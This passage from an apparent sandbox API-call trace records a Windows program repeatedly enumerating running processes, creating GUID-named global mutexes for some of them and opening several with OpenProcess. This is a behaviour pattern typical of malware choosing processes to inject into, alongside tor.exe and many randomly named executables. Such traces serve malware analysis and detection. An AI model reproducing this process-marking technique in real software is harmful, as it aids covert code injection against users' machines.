th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0116.702] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0116.703] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0116.704] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0116.705] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0116.705] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0116.706] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0116.707] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0116.708] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="concept_nor_works_holder.exe")) returned 1 [0116.708] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.709] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="OSPPSVC.EXE")) returned 1 [0116.710] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.711] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0116.714] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xa3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0116.715] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.716] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mscorsvw.exe")) returned 1 [0116.717] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x840, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0116.717] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.718] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="msiexec.exe")) returned 1 [0116.719] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7d, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe5, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 39 [0116.719] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7D-E7A94BE56EA0}") returned 0x13d8 [0116.719] GetLastError () returned 0xb7 [0116.719] CloseHandle (hObject=0x13d8) returned 1 [0116.719] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 1 [0116.720] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x65c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tor.exe")) returned 0 [0116.721] CloseHandle (hObject=0x13e0) returned 1 [0116.721] WaitForSingleObject (hHandle=0x67c, dwMilliseconds=0x64) returned 0x102 [0116.945] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x13e0 [0116.948] Process32FirstW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0116.948] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x50, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0116.949] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0116.950] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.951] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x144, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0116.952] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0116.953] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0116.953] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0116.954] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0116.955] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0116.956] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.957] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.958] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.958] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.959] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x354, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.960] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0116.961] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.962] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x160, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.963] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0116.964] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0116.965] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.966] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0xc2, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x7, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 39 [0116.966] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-C27E-E7A907E66EA0}") returned 0x13d8 [0116.966] GetLastError () returned 0xb7 [0116.966] CloseHandle (hObject=0x13d8) returned 1 [0116.966] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x318, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0116.967] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x8e, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0x4b, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 39 [0116.967] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-8E7E-E7A94BE66EA0}") returned 0x13d8 [0116.967] GetLastError () returned 0xb7 [0116.967] CloseHandle (hObject=0x13d8) returned 1 [0116.967] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x550, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0116.968] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.969] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x1a, [1]=0x7e, [2]=0xe7, [3]=0xa9, [4]=0xdf, [5]=0xe6, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 39 [0116.969] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-1A7E-E7A9DFE66EA0}") returned 0x13d8 [0116.969] GetLastError () returned 0x0 [0116.969] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x5c8) returned 0x0 [0116.969] CloseHandle (hObject=0x13d8) returned 1 [0116.969] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.970] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x2, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0xc7, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 39 [0116.970] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-027C-E7A9C7E46EA0}") returned 0x13d8 [0116.970] GetLastError () returned 0x0 [0116.970] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x7d0) returned 0x0 [0116.970] CloseHandle (hObject=0x13d8) returned 1 [0116.970] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x354, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0116.970] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x66, [1]=0x79, [2]=0xe7, [3]=0xa9, [4]=0xa3, [5]=0xe1, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 39 [0116.970] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-6679-E7A9A3E16EA0}") returned 0x13d8 [0116.971] GetLastError () returned 0xb7 [0116.971] CloseHandle (hObject=0x13d8) returned 1 [0116.971] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1dc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0116.971] StringFromGUID2 (in: rguid=0x2d5ede8*(Data1=0x4f600524, Data2=0xb6ce, Data3=0xf550, Data4=([0]=0x5e, [1]=0x7c, [2]=0xe7, [3]=0xa9, [4]=0x9b, [5]=0xe4, [6]=0x6e, [7]=0xa0)), lpsz=0x2d5f82e, cchMax=40 | out: lpsz="{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 39 [0116.971] CreateMutexW (lpMutexAttributes=0x2c72b60, bInitialOwner=1, lpName="Global\\{4F600524-B6CE-F550-5E7C-E7A99BE46EA0}") returned 0x13d8 [0116.971] GetLastError () returned 0x0 [0116.971] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x78c) returned 0x0 [0116.971] CloseHandle (hObject=0x13d8) returned 1 [0116.972] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="prospectssayspotteryamplifier.exe")) returned 1 [0116.972] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="combinations-bits-tape.exe")) returned 1 [0116.973] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delicious_sale.exe")) returned 1 [0116.974] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="friendly.exe")) returned 1 [0116.975] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x638, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reveal-salaries-mandate.exe")) returned 1 [0116.975] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x628, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="catalogvidsmoreoverrail.exe")) returned 1 [0116.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="sri-gods.exe")) returned 1 [0116.977] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="wines-fix-hopefully-analyzed.exe")) returned 1 [0116.978] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="lovers_voices_chicks.exe")) returned 1 [0116.979] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="cool rev connection ranger.exe")) returned 1 [0116.980] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x488, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psychiatrychip.exe")) returned 1 [0116.981] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="delivers_launches_tagged_antique.exe")) returned 1 [0116.981] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pp availability.exe")) returned 1 [0116.982] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="pdtdifficultrolandddr.exe")) returned 1 [0116.983] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="falls.exe")) returned 1 [0116.984] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="slightly dentists modified.exe")) returned 1 [0116.984] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="switchconventionspeppercovered.exe")) returned 1 [0116.985] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="statutes_slow_determines_ciao.exe")) returned 1 [0116.986] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="psp.exe")) returned 1 [0116.987] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | out: lppe=0x2d5f928*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="anonymous.exe")) returned 1 [0116.987] Process32NextW (in: hSnapshot=0x13e0, lppe=0x2d5f928 | 